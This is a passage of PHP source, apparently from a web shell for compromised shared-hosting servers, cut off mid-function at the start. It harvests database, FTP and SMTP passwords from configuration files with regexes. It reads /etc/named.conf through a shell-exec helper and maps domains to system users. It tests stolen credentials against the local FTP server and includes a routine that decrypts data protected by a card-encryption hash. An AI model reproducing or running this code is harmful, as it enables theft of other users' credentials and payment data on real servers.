		if((preg_match("#pass(.*?), (.*?)'(.+?)'\);#i", $config[$x], $nemu)) || (preg_match("#pass(.*?), (.*?)\"(.+?)\"\);#i", $config[$x], $nemu)) || (preg_match("#pass(.*?)=(.*?)'(.+?)';#i", $config[$x], $nemu)) || (preg_match("#pass(.*?)=(.*?)\"(.+?)\";#i", $config[$x], $nemu)) || (preg_match("#pwd(.*?)=(.*?)'(.+?)';#i", $config[$x], $nemu)) || (preg_match("#ftp_pass(.*?)=(.*?)'(.+?)';#i", $config[$x], $nemu)) || (preg_match("#smtppass(.*?)=(.*?)'(.+?)';#i", $config[$x], $nemu)) || (preg_match("#pwd(.*?)=(.*?)\"(.+?)\";#i", $config[$x], $nemu)) || (preg_match("#<password><!\[CDATA\[(.*?)\]\]></password>#i", $config[$x], $nemu)) )
		{
			if(($nemu[3] != '') && (!preg_match("# #", $nemu[3])) && (!preg_match("#'#", $nemu[3])) && (!preg_match("#\"#", $nemu[3])))
			{
				return $nemu[3];
			}
		}
	}
	return FALSE;
}
function ReadNamed()
{
	$ret = array();
	$foundDomain = array();
	$named = ex('cat /etc/named.conf');
	if(preg_match_all("#(.*?)zone \"(.*?)\"#", $named, $nemu)) {
		foreach($nemu[2] as $domain) {
			if(!in_array($domain, $foundDomain))
			{
				$user = cleanString(ex("stat -c %U /etc/valiases/$domain"));
				$ret[$user][] = $domain;
				array_push($foundDomain, $domain);
			}
		}
		return $ret;
	}
	return FALSE;
}
function cekDomain($user){
	$domz = array();
	if(is_readable("/var/named")){
		$list = scandir("/var/named");
		foreach($list as $domain){
			if(strpos($domain,".db")){
				$domain = str_replace('.db','',$domain);
				$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
				error_reporting(0);
				if ($owner['name']===$user){
					array_push($domz,$domain);
					
				}
			}
		}
	}else{
		array_push ($domz, $_SERVER['SERVER_NAME']."/~".$user);
	}
	return $domz;
}
function checkFTP($user, $pass) {
	@$ftp=ftp_connect('127.0.0.1');
	if ($ftp){
		@$res=ftp_login($ftp,$user,$pass);
		if ($res){
			ftp_quit($ftp);
			return TRUE;
		}else{
			ftp_quit($ftp);
			return FALSE;
		}
	}
}
function decrypt ($string,$cc_encryption_hash)
{
	$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
	$hash_key = _hash ($key);
	$hash_length = strlen ($hash_key);
	$string = base64_decode ($string);
	$tmp_iv = substr ($string, 0, $hash_length);
	$string = substr ($string, $hash_length, strlen ($string) - $hash_length);
	$iv = $out = '';
	$c = 0;
	while ($c < $hash_length)
	{
		$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
		++$c;
	}
	$key = $iv;
	$c = 0;
	while ($c < strlen ($string))
	{
		if (($c != 0 AND $c % $hash_length == 0))
		{
			$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
		}

		$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
		++$c;
	}
	return $out;
}
function _hash ($string)
{
	if (function_exists ('sha1'))
	{
		$hash = sha1 ($string);
	}
	else
	{
		$hash = md5 ($string);
	}
	$out = '';
	$c = 0;
	while ($c < strlen ($hash))
	{
		$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
		$c += 2;
	}
	return $out;
}